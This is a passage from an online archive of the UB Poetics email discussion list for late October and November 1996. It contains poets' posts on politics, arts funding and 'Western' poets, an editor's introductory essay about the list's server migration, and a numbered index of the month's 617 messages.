& Philosophers of other countries, and prophecying that all Gods woudl at last be proved to originate in ours & to be the tributaries of the Poetic Genius; it was this that our great poet King David, desired so fervently & invokes so pathetic'ly, saying by this he conquers enemies & governs kingdoms; and we so loved our God, that we cursed inhis name all the deities of surrounding nations, and asserted that they had rebelled: from these opinions the vulgar came to think that all nations would at last be subject to the jews.'

'This,' said he 'like all firm perswasions, is come to pass; for all nations believe the jews' code and worship the jews' god, and what greater subjection can be?'

.....

↑ Index

692. **Aldon L. Nielsen**

Re: from a justified sinner

Thu 31 Oct 1996

Well, now that really is a different question --

rather more like the arguments I have to get up from time to time to "justify" -- not the continued existence of humanities scholarship -- but the continued state-supported existence of humanities education -- and the requirement that all students have some of it --

I do not believe that I have to justify my being alive -- I do not believe that I have to justify my writing of poetry --

I may very well have to justify the claims my writing might make upon a public --

And I might very well, as I have often in the past, have to justify my belief that public monies should in some small way support the public life of poetry in these United States --

which continues to be a harder case to make than the giving away of huge tax subsidies to people who get rich from sports arenas --

It would be nice, for a change, to be able to mount a convincing and effective threat to move my poetry to another city if the one I now do business in doesn't re-seduce me with millions in write-offs and other inducements --

A defense of poetry may be included in a defense of the NEA subsidy of poetry, but it is not the same defense --

↑ Index

693. **Charles Smith**
Oliver Lake
Thu 31 Oct 1996

Oliver Lake

performing "The Matador of 1st and 1st"
Monday, Nov. 4
Kuumbwa Jazz Center
320-2 Cedar Street, Santa Cruz CA
[redacted]
7:30 pm

Does anyone know if he is performing soon in the Bay Area?

charles

↑ Index

694. **Kenneth W Sherwood**
Poetry politics and classrooms
Thu 31 Oct 1996

As indirect response to Eryque, I'd suggest that classroom discussion like the reading of a poem 'might' have subtle but deep implications. These might include beginning to think politics not as religion (in the sense of unwavering faith) .... The shattering of windows works now only as a poetic image; and, it should be noted, at the time the image was not picked up by network TV or NPR in its coverage.

Ken Sherwood

↑ Index

695. **Jordan Davis**
Re: Poetry politics and classrooms
Thu 31 Oct 1996

The shattering of windows does not work as a poetic image

(bonus points -- take this line and make it into a villanelle and post it to any other poetry list) J

↑ Index

696. **Thomas Bell**

Poepolitics?

Thu 31 Oct 1996

Adrift in Posttraumatic Space 3

"309.81 Posttraumatic Stress Disorder

Ahh
at last at
last at the at the last
at the last of long travails
I can rest. Tonight
Tonight I can write
I can write of
wide-spread license the silent
tonight I can drink
waters of memory

Tonight I can feel
bitterness, tears, rumors whitewash
ing fences. Cover
thickened spaces
we cannot
we cannot traverse
alone.

"...or was confronted with an event or events that involved actual or..."

Tonight I can see
Waco, that dry pristine air surrounding the cabin enclave,
TX
in a lone truck moving on to unabomb OK City
and here I sit watching hoping awaiting channeling
TV

Tonight I can hope.

Peoria. Black churches in flames and that truck moved
moved on moved on by the moved on by the traffic cop
held the answer.

"...threatened death or serious injury, or a threat to
the physical integrity of self or others (2) the
person's...

Tonight I can pretend
or we again could play

cowboys and Indians
cops and Robbers
citizens and Tanks
star wars defense and The Other
or I could end
or I could make it
hyme
or relate
or make sense
or this it is not.

"...this may be expressed instead by disorganized or agitated behavior...

Tonight I can grieve
at last
at the end
at the end
of my at
the end of my days.

↑ Index

697. **George Bowering**

Re: Tiger chasing its tail (or tale)

Thu 31 Oct 1996

> *It seems fairly clear that the disappearance of social democratic politics from the public sphere is strongly related to the rise of television as a source of "information." What response do you, others, see to this.*
>
> *--Rod*

Has there been social democratic politics in the U.S.? Harold Stassen. But since then?

I heard Dole on TV a few weeks ago; he was using the word "liberal" as if that were a comminly-understood pejorative. Has it really come to that in the U.S.? I mean he was saying liberal the way that US politicians used to say "communist."

I am not a USAmerican (though I was, when a lad, planning to become one), and there are many things I dont understand. But here's a tough one. What about (the public) Jefferson? Was he a liberal? What about the U.S. Constitution? Was it not seen as fairly liberal in its time? Are people like this Dole against the U.S. Constitution? Do they say so?

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

698. **George Bowering**

Hmm

Thu 31 Oct 1996

> *i usually say yes when i'm asked to do something*
>
> *--Maria Damon*
> *.....*
>
> *Hey, Maria, come here!*
>
> *George Bowering.*
> *,*
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

November 1996

617 messages · Fri 1 Nov 1996 – Sat 30 Nov 1996

The country re-elected its president on the fifth of November and the list mentioned him three times, which by now surprises nobody, least of all me. The month's real event fell a week later and was not a poem. On the twelfth Charles Bernstein forwarded a letter he had been asked to pass on, from the administrators of the listservs at SUNY-Buffalo, explaining that POETICS was being moved off the old IBM machine at ubvm.cc.buffalo.edu and onto a new Unix one at listserv.acsu.buffalo.edu. They had been testing for a while. They promised the migration would be *"as painless as possible and transparent for you and us"*. It was.

I can show you the seam. Of the six hundred and seventeen letters in this volume, a hundred and eighty-seven were posted from the old address and four hundred and thirty from the new, and the join falls between two messages on a Tuesday afternoon, invisible to anyone not reading the headers, which is everyone. The list had lived on that mainframe since it began. It went out on the twelfth of November and not one of six hundred and seventeen letters remarks on it. No farewell, no complaint, not so much as a note that the mail was arriving from somewhere else now. The room moved house and did not look up.

Eight days later it began to argue about land. The question came from Ontario, from k.a. hehir, who had just got his copy of GRAIN and wrote in with an apology first — *"this an american based talkgroup but i must ask"* — before asking it: were there western American poets who made something of the harsh isolation, and prairie poets who got past the lingo of the farm and the slough and the seasons? He explained himself in four words, *"as a transplanted gopher chaser"*, a man from a place he no longer lives in, looking for poems that could negotiate the two. It is the best question anybody put to the list all year, and it ran for eighty letters.

Not one of which could say where the West is. Pierre Joris named Niedecker, Dorn and Irby; Pat Pritchett named Saner and Haines; Christina Fairbanks named Silko, Ortiz and Wendy Rose; and underneath the bibliography the room came apart on the only point that mattered. Judy Roitman settled it from Kansas — *"Ohio is the east, and Buffalo is east of that"* — while George Bowering settled it otherwise from Vancouver: *"There is a ridge where the west commences!"* And Ron Silliman, raised in Berkeley, recalled once thinking the midwest meant Reno

and everything past Salt Lake was back east; now that he lives back east, he hears people call Buffalo the midwest. The West is wherever you are not. That is the whole of the finding.

Which brings me to the sentence I have set this volume around. Silliman, listing what the East turned out to be — the sledgehammer shift of seasons, the Mummers, four times the house for the money, no baseball scores from the west coast — put among them, without emphasis, one more item: *"Email as your primary contact with other poets"*. He had moved, and this was where the poets were now. This room was the place he had left California to keep. And on the twelfth of November the place he had left California to keep changed its address, and told him so in a forwarded letter, and promised he would not feel a thing, and he did not, and nor did anybody else, because they were all looking for the West on a map.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 617 in all.

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128. Mark Nowak — Paul Metcalf Readings
129. Rod Smith — Onward: Contemporary Poetry & Poetics
130. Christina Fairbank Chirot — WOODLAND PATTERN READINGS

8 NOV 1996

131. Scott Bentley — Lawrence Raab
132. George Bowering — Re: help please
133. maria damon — Re: Lawrence Raab
134. Pritchett,Pat — Re: Bettman archives
135. Bill Luoma — Ange Mlinko & Edwin Torres @ Ear Inn Sat 2:30
136. Ian Wilson — Yeats Assistance
137. Henry Gould — Fridays' bk review (longish)
138. Joe Amato — Re: Fridays' bk review (longish)
139. Louis Cabri — South African
140. Louis Cabri — South Africa
141. Jeffrey W. Timmons — Univ of California TAs Set to Strike (fwd)
142. George Bowering — Re: South African

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143. Eliza McGrand- CVA Guest — Re: South African
144. Kevin Killian — Re: John Kinsella
145. Ron Silliman — Comrade Bill
146. Pritchett,Pat — Re: Comrade Bill
147. Douglas Barbour — Re: Tony Lopez
148. Herb Levy — Re: Comrade Bill

149. Douglas Barbour — Re: John Kinsella
150. Pritchett,Pat — Re: it ain't over till it ain't over
151. Steve Evans — Mario Savio (1943-96)
152. Pritchett,Pat — Re: Fridays' bk review (longish)
153. Charles Alexander — lake sounds
154. Gabrielle Welford — CAN-RW digest 263 (fwd)
155. Loss Glazier — Re: John Kinsella

10 NOV 1996

156. Gabrielle Welford — Polite Protests my **** (fwd)
157. Gabrielle Welford — Re: ANALYSIS OF THE U.S. POSITION ON THE DRAFT DECLARATION (fwd)
158. F.A. Templeton — SPD
159. Romana Christina Huk — Re: John Kinsella
160. Romana Christina Huk — Re: South African
161. Mark Roberts — Re: John Kinsella
162. Peter Quartermain — Re: SPD
163. Peter Quartermain — OOOPS!
164. Gabrielle Welford — Flash Point
165. Gabrielle Welford — In Case of..

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166. Tenney Nathanson — Olson stuff
167. George Bowering — Re: South African
168. Jonathan A Levin — Re: Olson stuff
169. maria damon — Re: Olson stuff
170. Robert Drake — Re: In Case of..
171. Mary Hilton — Kristin Prevallet's "Lead Glass and Poppy"
172. maria damon — Re: In Case of..
173. Charles Alexander — The not Ye
174. Bob Holman — Re: POETICS Digest - 9 Nov 1996 to 10 Nov 1996
175. Dan Machlin — Re: John Kinsella Reading in New York City
176. Eryque Gleason — Re: OMNI web
177. Robert Drake — Re: In Case of..
178. Aldon L. Nielsen — Re: Good Lake / Bad Lake
179. Charles Alexander — Re: Good Lake / Bad Lake
180. Eliza McGrand- CVA Guest — Re: OMNI web
181. Joe Amato — great book on the university...
182. Pierre Joris — not-home

12 NOV 1996

183. Kevin Killian — San Francisco Events this week that I know about
184. William Northcutt — yep
185. Bill Luoma — Ear Inn Reading Report Nov 9
186. maria damon — shapiro
187. Joe Amato — snowsnowsnow...
188. Joel Felix — ALIVE! Ronald Johnson Reading
189. nuyopoman — Re: POETICS Digest - 2 Nov 1996 to 3 Nov 1996
190. Charles Bernstein — NEW ADDRESS FOR POETICS LIST
191. Mark Roberts — AWOL: John Kinsella's US tour (forwarded)
192. Eryque Gleason — Re: NEW ADDRESS FOR POETICS LIST
193. Pierre Joris — Re: NEW ADDRESS FOR POETICS LIST
194. wystan — Re: Ear Inn Reading Report Nov 9
195. Mark Roberts — John Kinsella in Boston

13 NOV 1996

196. Eryque Gleason — Re: NEW ADDRESS FOR POETICS LIST

197. Curtis J Leitz — broughton and gleason papers
198. Mark Wallace — NEW ADDRESS FOR LISTSERVE
199. Burt Kimmelman — call for help; russian verse
200. Mark Wallace — NEW LIST ADDRESS
201. Pritchett,Pat — Re: Jim Carroll
202. lphillips — Re: John Kinsella in Boston
203. Aldon L. Nielsen — Re: A Free Drink in the Archives
204. Pritchett,Pat — Re: A Free Drink in the Archives
205. Gabrielle Welford — Child labour (fwd)
206. daniel_bouchard — Re: Child labour (fwd)
207. Gabrielle Welford — Re: Child labour (fwd)
208. daniel_bouchard — C-NEWS:
209. Rachel Blau DuPlessis — Anne Waldman reading
210. Pritchett,Pat — Re: C-NEWS:
211. Eryque Gleason — Re: Anne Waldman reading
212. armand schwerner — Re: welcome message

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213. Carnography — Re: call for help; russian verse
214. Carnography — Re: calls for help: correction
215. Henry Gould — infra-verbal poetry?
216. Jordan Davis — infraverb / burstnorm
217. Burt Kimmelman — Re: call for help; russian verse
218. Burt Kimmelman — Cid Corman
219. Burt Kimmelman — Charles Olson
220. Jordan Davis — Kevin Young / Janice Lowe
221. Christina Fairbank Chirot — address for Brakhage
222. F.A. Templeton — Re: POETICS Digest - 10 Nov 1996 to 11 Nov 1996
223. don_cheney — new URL for Don Cheney's Home Page & Clean Neck Shop
224. Gabrielle Welford — UK STRIKE (fwd)
225. Gabrielle Welford — call for papers (fwd)
226. Ken Edwards — Sleight of Foot
227. Aldon L. Nielsen — Re: infra-verbal poetry?
228. Bil Brown — Re: infra-verbal poetry?
229. Herb Levy — Re: citation help...
230. Aldon L. Nielsen — Re: address for Brakhage
231. Robert Drake — Re: infra-verbal poetry?

15 NOV 1996

232. aerialedge — Fwd: Re: Situ and Lettrist Films at Anthology Film Archives in NY
233. Brian Carpenter — upcoming Seattle readings
234. R I Caddel — Re: Sleight of Foot
235. Henry Gould — infra-verbality
236. Henry G — there was an excavation in Providence
237. Joel Felix — Ark Floats in Chicago
238. groberts — excavating providence
239. Charles Bernstein — New and Improved Welcome Message
240. Jeff Hansen — (no subject)
241. Michael Coffey — (no subject)
242. Peter Larkin — Michael Heller London Reading
243. John Geraets — Re: Ear Inn Wystan's Bill
244. Ira-Lightman — Re: your mail
245. Robert Drake — Re: infra-verbal poetry?
246. daniel_bouchard — "Passive consumption of information is not enough." (Chomsky)
247. john_lavagnino — 1996 MLA sessions
248. Jordan Davis — Re: Well
249. Bil Brown — Well

250. Eryque Gleason — Re: Well
251. henry gould — Re: Well
252. daniel_bouchard — Re: Well
253. Bil Brown — Re: Well
254. Bil Brown — Re: Well
255. George Bowering — Re: Cid Corman
256. amato — citation help...

16 NOV 1996

257. Carnography — LIVE HOT FORENSIC CAT NOSTRILS IN YOUR ICEMAILBOX-EARMAP-MINTAMIN COMMODINATO...
258. amato — Re: citation help...
259. Burt Kimmelman — Re: Cid Corman
260. shemurph — New Publication from Marshall Creek Press

17 NOV 1996

261. Alan Jen Sondheim — The Bridge, by Hart Crane
262. Michael Scharf — Fifties query
263. Robert Archambeau — Re: query ALSC
264. wheeler — Re: Fifties query
265. Aldon L. Nielsen — Re: Fifties query
266. Pam Brown — query
267. David Golumbia — EPR
268. David Golumbia — oh god

18 NOV 1996

269. joel lewis — Re: Fifties query
270. Philip H. Sherburne — Re: Well
271. Alan Jen Sondheim — chmod 777 all the little children (fwd)
272. klobucar — Tony Lopez Reading in LA
273. Aldon L. Nielsen — Re: ALSC
274. Aldon L. Nielsen — Re: Happier Notes
275. Alan Jen Sondheim — Re: space aesthetica
276. Gabrielle Welford — HATE CRIMES (fwd)
277. Hugh Nicoll — Re: space aesthetica
278. Mark Wallace — infraverbal, pluralaesthetic
279. Fred Muratori — Re: EPR
280. henry gould — Re: infraverbal, pluralaesthetic
281. Charles Bernstein — New Poetics Archive Features
282. Alan Jen Sondheim — Re: infraverbal, pluralaesthetic
283. aerialedge — Inman Reading/Talk @ Bridge Street
284. John Geraets — space aesthetica
285. Joseph Conte — Dictionary of Literary Biography
286. aerialedge — Armantrout Abacus
287. Bil Brown — Re: infraverbal, pluralaesthetic
288. Bil Brown — Re: infraverbal, pluralaesthetic
289. dbkk — Spicer's Language
290. Bil Brown — Naropa Grads/Keroauc School Students OUT THERE
291. Paul McDonald - Bon Air Branch — Re: Naropa Grads/Keroauc School Students OUT THERE
292. Laura Moriarty — Re: Well
293. Henry Gould — Re: Well
294. cupslit — Edward Dahlberg
295. Bil Brown — Re: Well
296. Bil Brown — Re: Naropa Grads/Keroauc School Students OUT THERE
297. Eryque Gleason — Re: space aesthetica

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298. Thomas M. Orange — grumman / wat
299. Ward Tietz — Glossolalia
300. Robert Drake — Re: infraverbal, pluralaesthetic
301. william marsh — Re: infraverbal, pluralaesthetic
302. Charles Bernstein — Cave Art in the French Dordogne
303. aerialedge — Inman reading/talk @ Bridge Street
304. Pritchett,Pat — Re: way, wave, wavy
305. Eliza McGrand- CVA Guest — sad news and an appreciation, Meridel Le Sueur
306. Bil Brown — Re: Anselm
307. Alan Jen Sondheim — Re: Glossolalia

20 NOV 1996

308. nuyopoman — AZ
309. Henry Gould — Re: grumman / wat
310. Fred Muratori — EPR Web Address Correction
311. Michael Boughn — Dildo update
312. Jerry Rothenberg — query
313. Eliza McGrand- CVA Guest — sad news about Meridel Le Sueur
314. maz881 — Ear Inn Reading Report nov 16
315. k.a. hehir — the poets and land and landing poets
316. k.a. hehir — l%a*n([redacted]!a_g#e
317. Jordan Davis — Eleni Sikelianos, John Wieners (Poetry City 11/7)
318. Mark Roberts — AWOL: Lexicon 2 (forwarded)
319. Mark Roberts — AWOL: SCARP 29 (forwarded)

21 NOV 1996

320. Jordan Davis — mind/body
321. Aldon L. Nielsen — Re: Having a goad time -- wish I were there
322. Gabrielle Welford — Labor orgzg. & Banned by Borders- Michael Moore (fwd)
323. maria damon — queer beats
324. Jordan Davis — Rochelle Kraut and Pam Grossman at Poetry City tonight!
325. Michael Boughn — test
326. Thomas M. Orange — annoying mail from chronotope.com
327. Charles Watts — Aaron Shurin reading in Vancouver
328. Susan Atefat-Peckham — Re: the poets and land and landing poets
329. Alan Jen Sondheim — Lineaments of Desire (last of these for a while) (fwd)
330. dbkk — spam
331. maria damon — Re: the poets and land and landing poets
332. Eliza McGrand- CVA Guest — Re: the poets and land and landing poets
333. Pierre Joris — Re: the poets and land and landing poets
334. cris cheek — Fwd: Overview: Genetically Engineered Foods
335. Kenneth Goldsmith — Lingo 6 Arrives
336. Pierre Joris — Crash!
337. Charles Bernstein — Re: l%a*n([redacted]!a_g#e

22 NOV 1996

338. Louis Cabri — antiquity
339. Aldon L. Nielsen — Re: mind / body etc.
340. dbkk — Re: annoying mail from chronotope.com
341. dbkk — spam
342. Tenney Nathanson — tanks
343. Pierre Joris — [Fwd: ABC No Rio in danger]
344. Pierre Joris — Western poets
345. Michael Boughn — dildo update
346. Henry Gould — Re: dildo update
347. Rachel Loden — Re: dildo update
348. Henry Gould — Re: dildo update

349. maria damon — Re: antiquity
350. maria damon — Re: mind / body etc.
351. maria damon — Re: tanks
352. maria damon — Re: dildo update
353. Pritchett,Pat — Re: the poets and land and landing poets
354. Charles Alexander — Re: the poets and land and landing poets
355. Charles Alexander — Re: Western poets
356. Charles Bernstein — Ear Inn Reading Dec./Jan. (fwd)
357. Kali Tal — Re: Western poets
358. aerialedge — Re: Western poets
359. Aldon L. Nielsen — Re: the poets and land and landing poets
360. Herb Levy — Re: Crash!
361. Christopher Reiner — Re: Western poets
362. Michael Boughn — Re: Crash!
363. charssmith — Re: the poets and land and landing poets
364. Pete Landers — Re: dildo update
365. Pritchett,Pat — Re: oh give me a home
366. Louis Cabri — Re: antiquity
367. simon — Re: Western poets
368. maria damon — Re: oh give me a home

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369. Tenney Nathanson — (ahem) gracias for the dildo thread
370. Tenney Nathanson — x spots the mark
371. Tenney Nathanson — here here (there there)
372. dbkk — Re: queer beats
373. Jay Schwartz — Re: Western poets
374. Ron Silliman — West
375. maria damon — Re: Western poets
376. maria damon — Re: x spots the mark
377. maria damon — Re: here here (there there)
378. maria damon — Re: West
379. Michael Boughn — Re: West
380. Robert Drake — Re: the poets and land and landing poets
381. simon — Re: here here (there there)
382. Douglas Barbour — Re: western poets -- of the land
383. Pritchett,Pat — Re: Western poets
384. Pritchett,Pat — Re: West
385. maria damon — Re: western poets -- of the land
386. shoemakers — Re: queer beats
387. steph4848 — Re: the poets and land and landing poets
388. Pritchett,Pat — Re: here here (there there)
389. steph4848 — Test
390. Franklin Bruno — benjamin queries
391. Stephen Cope — Re: the poets and land and landing poets
392. Steve Carll — Canessa Park reading report 11-17-96
393. Gwyn McVay — Re: queer beats
394. Dan & Lynda L. Imburgia — Re: benjamin queries

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395. maria damon — Re: benjamin queries
396. Tenney Nathanson — more Mei-mei
397. George Bowering — Re: the poets and land and landing poets
398. George Bowering — Re: dildo update
399. George Bowering — Re: here here (there there)
400. George Bowering — Re: math
401. Alan Jen Sondheim — Re: math

402. Ron Silliman — East
403. maria damon — Re: queer beats
404. maria damon — Re: East
405. maria damon — Re: more Mei-mei
406. maria damon — Re: more Mei-mei
407. Gwyn McVay — Re: the poets and land/Wm. Everson
408. aerialedge — Re: benjamin queries
409. Aldon L. Nielsen — Re: math
410. Rosemary Ceravolo — Re: spam
411. Dan Raphael Dlugonski — Re: Western poets
412. robert zamsky — Re: benjamin queries
413. Henry Gould — Re: Western poets
414. George Bowering — Re: John Wieners (Poetry City 11/7)
415. Tom Beard — Re: math
416. Loss Glazier — In the News
417. Judy Roitman — Re: the poets and land and landing poets
418. Judy Roitman — Re: West
419. Judy Roitman — Re: Western poets
420. Judy Roitman — Re: oh give me a home
421. shemurph — Re: Canessa Park reading report 11-17-96

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422. Wendy Battin — math/ what you get for absolutes
423. Tenney Nathanson — sheets of sound (sound of sheets)
424. Tenney Nathanson — Mr. who?
425. Tenney Nathanson — Convolut-ed message
426. George Bowering — Re: West
427. George Bowering — Re: math/ what you get for absolutes
428. George Bowering — Re: sheets of sound (sound of sheets)
429. Alan Jen Sondheim — Re: math/ what you get for absolutes
430. Michael Boughn — Re: West
431. Henry Gould — Re: West
432. maria damon — Re: Mr. who?
433. Henry Gould — math
434. Jeff Hansen — u.s. places
435. Douglas Barbour — Re: EyeRhymes Conference
436. Jonathan A Levin — Re: West
437. Paul McDonald - Bon Air Branch — Re: math/ what you get for absolutes
438. pollet — western poets: Lew Welch
439. Pritchett,Pat — Re: East
440. Pritchett,Pat — Re: oh give me a home
441. Sharon Elizabeth Wood — Re: math/ what you get for absolutes
442. amato — Re: West
443. maz881 — Where is the west?
444. Judy Roitman — Re: math/ what you get for absolutes
445. maria damon — Re: u.s. places
446. maria damon — Re: u.s. places
447. John Geraets — action poems in japan
448. Kathleen Crown — UPDATE: Rutgers Poetry Conference
449. Charles Alexander — Re: oh give me a home
450. Charles Alexander — Re: here here (there there)
451. Steve Carll — Summary Canessa Park Reading 11-24-96
452. Charles Alexander — Re: u.s. places
453. aerialedge — New from Edge Books: On Your Knees, Citizen
454. Jeremy F Green — Re: West
455. aerialedge — Re: math/ what you get for absolutes

456. Charles Alexander — heroines & such
457. Brian Strang — Re: POETICS Digest - 22 Nov 1996 to 23 Nov 1996
458. Charles Bernstein — Ripple Effects (announcement)
459. Tom Beard — Re: u.s. places, & elsewhere
460. Loss Glazier — Re: New Poetics Archive Features
461. Aldon L. Nielsen — Re: cutting the heroine
462. Aldon L. Nielsen — Re: another dose of heroines
463. Pierre Joris — Re: heroines & such
464. Pritchett,Pat — Re: heroines & such
465. Mark Roberts — Re: u.s. places, & elsewhere
466. Pam Brown — cringe
467. wystan — Re: East
468. k.a. hehir — Re: the poets and land and landing poets
469. Philip H. Sherburne — Re: benjamin queries

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470. George Bowering — Re: West
471. Marjorie Perloff — Re: Philadelphia/California with Ron Silliman
472. Aldon L. Nielsen — Re: SF State Layoffs
473. Aldon L. Nielsen — Re: "of email"
474. George Bowering — Re: West
475. George Bowering — Re: western poets: Lew Welch
476. George Bowering — Re: NZ
477. Shaunanne Tangney — Re: West
478. Michael Boughn — Re: West
479. Michael Boughn — Re: Philadelphia/California with Ron Silliman
480. Rachel Loden — Re: East
481. Michael Boughn — Re: East
482. Rachel Loden — Re: East
483. Robert Archambeau — Re: Lentricchia and Rorty (?)
484. William Slaughter — Lentricchia and Rorty (?)
485. Judy Roitman — Re: West
486. Jeff Hansen — (no subject)
487. Alexis Larson — <My First American Thanksgiving>
488. Burt Kimmelman — Call for help
489. Jordan Davis — Williams' prosody and/or linebreaks
490. Pritchett,Pat — Re: the poets and land and landing poets
491. Charles Alexander — Re: cutting the heroine
492. Bob Gale — More on Borders and Moore
493. Pritchett,Pat — Re: Cras(s)h
494. Christina Fairbank Chirot — Re: West
495. Michael Boughn — Re: Lentricchia and Rorty (?)
496. Eryque Gleason — Re: Philadelphia/California with Ron Silliman
497. groberts — WC/W//line/bre/aks
498. maria damon — Re: cutting the heroine
499. Eliza McGrand- CVA Guest — flooded
500. wystan — Re: NZ
501. Patrick Foley — Re: Williams' prosody and/or linebreaks
502. maz881 — Ear Inn Reading Report 11/23
503. MAXINE CHERNOFF — Re: Philadelphia/California with Ron Silliman
504. marisa.januzzi — Re: heroines & such
505. Nathaniel Dorward — Recordings/general greetings

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506. Aldon L. Nielsen — Re: "denigration"
507. George Bowering — Re: Williams' prosody and/or linebreaks
508. George Bowering — Re: hon

509. George Bowering — Re: l%a*n([redacted]!a_g#e
510. Brian Carpenter — Re: Williams' prosody and/or linebreaks
511. Pierre Joris — Re: Philadelphia/California with Ron Silliman
512. Pierre Joris — Re: Recordings/general greetings
513. Ron Silliman — for Madam Perloff
514. Michael Boughn — Re: Philadelphia/California with Ron Silliman
515. Brian Carpenter — pynchon
516. pollet — Re: heroines & such
517. tmandel — Whom called by who Hon, when, eh?
518. MAXINE CHERNOFF — Re: Philadelphia/California with Ron Silliman
519. groberts — Re: pynchon
520. Pritchett,Pat — Re: Philadelphia/California with Ron Sil
521. tmandel — brrrs under my saddlophobia
522. main — Re: Philadelphia/California with Ron Silliman
523. Michael Coffey — pynchon -Reply
524. Eryque Gleason — Re: honey diners
525. David Kellogg — Chax
526. Aldon L. Nielsen — Re: Pynchonesque
527. Aldon L. Nielsen — Re: Comparative Perloff Studies
528. Karl Richter — Re: pynchon
529. Henry Gould — nedge promo/info/sonnet/etc.
530. Burt Kimmelman — Re: heroines & such
531. Ken Edwards — Sleight of Foot
532. acgold01 — WCW, Duncan
533. manowak — Xcp (Cross-Cultural Poetics) Website
534. amato — Re: Comparative Perloff Studies
535. David Golumbia — benjamin

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536. aerialedge — Re: benjamin
537. Peter Quartermain — Re: heroines & such
538. Marjorie Perloff — Re: Bad reviews
539. tmandel — westerns
540. groberts — westerns
541. Judy Roitman — Re: westerns
542. pollet — hon vs. deah
543. Kali Tal — Re: westerns
544. maria damon — Re: westerns
545. DS — Re: westerns
546. Thomas Bell — Williams prosody
547. Rachel Loden — Re: the West
548. David Kellogg — Re: Comparative Perloff Studies

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549. Bil Brown — Re: M/M & westerns, deah
550. Bil Brown — Re: M/M & westerns, deah
551. Bil Brown — Re: M/M & westerns, deah
552. Bil Brown — Re: taste, judgment, etc...
553. Ron Silliman — M/M & westerns, deah
554. maria damon — Re: M/M & westerns, deah
555. Tenney Nathanson — rubber inch
556. amato — Re: M/M & westerns, deah
557. amato — taste, judgment, etc...
558. Aldon L. Nielsen — Re: "The Man Who Shot the Other Man"
559. Eliza McGrand- CVA Guest — Re: taste, judgment, etc...
560. maria damon — western style danish please
561. amato — Re: taste, judgment, etc...

562. Joel Felix — Re: westerns and dead white men,
563. aerialedge — Re: taste, judgment, etc...
564. k.a. hehir — Re: l=a=n=g=u=a=e
565. Christopher Alexander — taste & etc.
566. Kali Tal — Re: taste, judgment, etc...
567. Thomas Bell — Re: M/M & westerns, deah
568. Pierre Joris — Re: taste, judgment, etc...
569. Charles Alexander — Re: hon
570. Charles Alexander — Re: M/M & westerns, deah
571. Victor Grauer — Re: taste, judgment, etc...
572. wkl888 — Once Upon a Time in the West, etc.
573. Bradford J Senning — Re: the West
574. Bradford J Senning — Re: westerns and dead white men,
575. Judy Roitman — Re: taste, judgment, etc...
576. Kali Tal — Re: Once Upon a Time in the West, etc.
577. Eliza McGrand- CVA Guest — Re: M/M & westerns, deah
578. maria damon — Re: taste, judgment, etc...
579. wkl888 — One down, one to go
580. Victor Grauer — Re: taste, judgment, etc...

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581. DS — Re: taste, judgment, etc...
582. DS — Re: taste, judgment, etc...
583. DS — Re: Once Upon a Time in the West, etc.
584. Aldon L. Nielsen — Re: the good, the bad, and the ugly
585. Aldon L. Nielsen — Re: half-Danes of the Western world, Unite
586. maria damon — Re: half-Danes of the Western world, Unite
587. maria damon — Re: the good, the bad, and the ugly
588. maria damon — Re: taste, judgment, etc...
589. Pierre Joris — Re: half-Danes of the Western world, Unite
590. Chris Stroffolino — Re: taste, judgment, etc...
591. maria damon — Re: half-Danes of the Western world, Unite
592. amato — Re: Once Upon a Time in the West, etc.
593. Thomas M. Orange — teaching good/bad writing: good/bad?
594. Pritchett,Pat — Re: M/M & westerns, deah
595. Pierre Joris — Re: teaching good/bad writing: good/bad?
596. aerialedge — Re: taste, judgment, etc...
597. Pierre Joris — Re: half-Danes of the Western world, Unite
598. Pritchett,Pat — Re: westerns
599. amato — Re: teaching good/bad writing: good/bad?
600. Pritchett,Pat — Re: M/M & westerns, deah
601. Aldon L. Nielsen — Re: taste, judgment, etc...
602. dbkk — Re: M/M & westerns, deah
603. Aldon L. Nielsen — Re: Morricone Themes
604. amato — Re: M/M & westerns, deah
605. amato — Re: M/M & westerns, deah
606. dbkk — Burt Bacharach's Western music
607. dbkk — George Oppen
608. Christina Fairbank Chirot — Re: M/M & westerns, deah
609. maria damon — Re: George Oppen
610. Thomas Bell — Re: teaching good/bad writing: good/bad?
611. Kali Tal — Re: M/M & westerns, deah
612. Tosh — Re: Burt Bacharach's Western music
613. amato — Re: M/M & westerns, deah
614. Kenneth Goldsmith — A Special Book Offer from The Figures
615. DS — Re: George Oppen

616. Aldon L. Nielsen — Re: Burt Bacharach's Western music
617. Gabrielle Welford — Radio B92 Apel (fwd)

1. Rod Smith
Re: Tiger chasing its tail (or tale)
Fri 1 Nov 1996

> *I heard Dole on TV a few weeks ago; he was using the word "liberal" as if that were a comminly-understood pejorative. Has it really come to that in the U.S.?*

Yes, & the "liberal" president signs Nafta, dumps healthcare, cuts welfare, etc. etc. etc. Of course when you point out that the media might have something to do with such idiocy people say oh no no can't be that, harr, hmmmgghh. There's a documentary I would recommend called Manufacturing Consent.

> *Has there been social democratic politics in the U.S.?*

Yup, lots. Not much in power, some FDR policies. Them Wobblies and such that got the Wagner Act (legalization of unions) through is what I'm refering to. Don't remember the source of this information but apparently May Day began as a European Worker's Holiday to show solidarity with American workers. Europeans were horrified by the extent of violence labor had to endure in this country. They acheived legal unionization long before it happened here. Of course here MayDay is known only as a Stalinist "celebration."

Also re something AL said:
>the giving away of huge
tax subsidies to people who get rich from sports arenas

What about public subsidy of defense. That's REALLY where you're money's going. It's public money for private profit.

Also re Jeff & Henry's point about legislation. Despite my cynicism, I think there should be more engagement-- after all there is some hope, even a bit of evidence, that people CAN effect the government-- not the boardroom.

--Rod

↑ Index

2. Rod Smith
Re: Tiger chasing its tail (or tale)
Fri 1 Nov 1996

---

yes Joe, it's let's see do I vote for the business party or the business party

I don't argue that the medium of television is inherently evil. clearly it _could_ be a good thing. love them Simpsons. But what is there reflects very largely the interests of those who own it, period. I.e. not you or me or MOST OF US. Whether the net will/can be something counter that corporate _force_ remains

to be seen. There's an interesting new group -- The Cultural Environment Movement, doing good work around this. Again, just getting started. . .

